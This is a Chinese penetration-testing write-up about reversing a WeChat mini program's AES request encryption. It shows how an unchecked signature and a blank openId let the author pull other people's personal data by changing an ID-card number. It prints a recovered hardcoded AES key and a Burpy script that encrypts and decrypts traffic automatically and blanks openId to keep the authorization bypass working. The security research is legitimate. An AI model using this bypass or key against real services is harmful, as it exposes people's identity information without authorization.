Burpy插件实战-某微信小程序加密算法破解

admin 2026-01-13 14:20:47 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文记录了某微信小程序加密算法破解与越权挖掘过程。分析发现sign校验缺失且openId可置空绕过。通过提取并反编译.wxapkg包,定位AES算法及密钥。利用Burpy插件实现自动加解密,将流量明文化,证实可通过修改身份证参数越权获取他人信息,展示了移动端小程序渗透测试的完整流程。 综合评分: 91 文章分类: 渗透测试,移动安全,逆向分析,漏洞分析,安全工具


cover_image

Burpy插件实战-某微信小程序加密算法破解

Say Sec

2026年1月13日 09:00 河南

以下文章来源于Gcow安全团队 ,作者复眼小组

Gcow安全团队 .

Gcow是当前国内为数不多的民间网络信息安全研究团队之一。本着“低调发展,自信创新,技术至上”理念,团队主要研究范围“APT捕获分析、渗透测试、代码审计、病毒样本分析、RedTeam、红蓝对抗、程序开发,Ai安全”

Author:0pening

1、前言


对某微信小程序进行测试,不说多的,马上开动BurpSuite抓包。然而抓到包就发现不对劲🤨了。

这货将传递的参数加密为bizContent,还有签名参数sign用来防止中间人篡改数据包…..不讲武德。

2、分析数据包


先硬着头皮分析一下吧,看看签名参数sign是不是校验了。通过删减参数进行判断,这原来是个纸老虎。参数删简如下,数据包可以正常发送。

原来sign只是个纸老虎,后端就没有校验。那是否通过openId来进行用户身份的校验的🤔️?

通过修改openId参数,发现存在逻辑问题。

错误的openId,校验失败。

openId为空,成功返回数据。

删除openId参数,成功返回数据。

由于这是个请求个人信息的接口,删除或使openId为空,都拿到了个人信息。那么bizContent参数中存在某个参数决定了用户身份标识,如果这个标识可预测,极有可能通过修改这个标识越权获取到他人身份信息。

3、签名算法破解


通过上面一通分析,接下来就要想办法获取到bizContent参数的明文数据。

通过查看BurpSuite的数据包history记录

查找上下文都没有找到相关JS请求,那么加密算法的源码应该在微信小程序源码里了。

  • • 微信小程序源文件在开发者发布后存储在微信的服务器上,当用户首次加载小程序时会下载小程序到用户本地(*****.wxapkg格式的二进制文件)。

提取.wxapkg文件:(安卓会放到如下目录)

/data/data/com.tencent.mm/MicroMsg/{数字串}/appbrand/pkg/

反编译.wxapkg文件获取小程序源码(https://github.com/Cherrison/CrackMinApp)

使用这款工具主要是不需要额外安装node.js环境,可以直接干。

通过全局搜索关键字bizContent,发现在定位app-service.js中。将app-service.js进行JS美化下便与阅读。找到了加解密算法。

测试下AES解密,解密成功,传递的两个参数,一个idcard身份证,一个desc请求接口。

之后通过替换idcard身份证参数为他人身份证,调用接口查询,返回了他人信息,实锤越权了。

4、Burpy插件使用


搞定加密算法后就可以测试了,但产生个问题,我难道要每次把bizContent参数和返回数据每次复制粘贴出来解密来测吗?又没有什么更优雅的测试方式呢?

把视角瞄向了m0nst3r的https://github.com/mr-m0nst3r/Burpy 。已支持python3

使用教程博客里有:

https://m0nst3r.me/burpsuite/打通BurpSuite与Python之间的任督二脉.html

加载插件后配置如下:(插件需要安装Pyro4 -> pip3 install Pyro4)

收集到AES相关加密配置如下:

783a2274472d5928
iv = 0102030405060708
Mode = ECB
padding = Pkcs7

编写AES加解密脚本。只要按照项目要求实现encrypt、decrypt两个函数。

import json
import base64
from Crypto.Cipher import AES

class Burpy:
    def __init__(self):
        self.key = "783a2274472d5928"
        self.iv = "0102030405060708"
        self.apicode = ""

    def encrypt(self, header, body):
        # 获取加密参数bizContent
        body_json = json.loads(body)
        bizContent = json.dumps(body_json["bizContent"]).replace(' ', '')

        #AES加密
        while len(bizContent) % 16 != 0:  # 补足字符串长度为16的倍数
            bizContent += (16 - len(bizContent) % 16) * chr(16 - len(bizContent) % 16)
        bizContent = str.encode(bizContent)
        aes = AES.new(self.key, AES.MODE_ECB)  # 初始化加密器
        bizContent  = str(base64.encodebytes(aes.encrypt(bizContent)), encoding='utf8').replace('\n', '')

        #替换参数,openId置空绕过
        body_json["bizContent"] = bizContent
        body_json["openId"] = ''

        body = json.dumps(body_json)
        return header, body

    def decrypt(self, header, body):
        cipher = AES.new(self.key, AES.MODE_ECB, self.iv)
        # 获取加密参数bizContent
        body_json = json.loads(body)
        bizContent = body_json.get("bizContent")

        #AES解密
        content = cipher.decrypt(base64.decodebytes(bytes(bizContent, encoding='utf8'))).decode("utf8")
        content = content[:-ord(content[-1])]
        body_json["bizContent"] = json.loads(content)

        body = json.dumps(body_json)
        return header, body

加载插件后配置如下,勾选自动加解密。

测试如下,完美获取数据,测试优雅多了!

在Repeater中修改数据包直接明文发送,返回包自动解密。


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:Say Sec 《Burpy插件实战-某微信小程序加密算法破解》

评论:0   参与:  0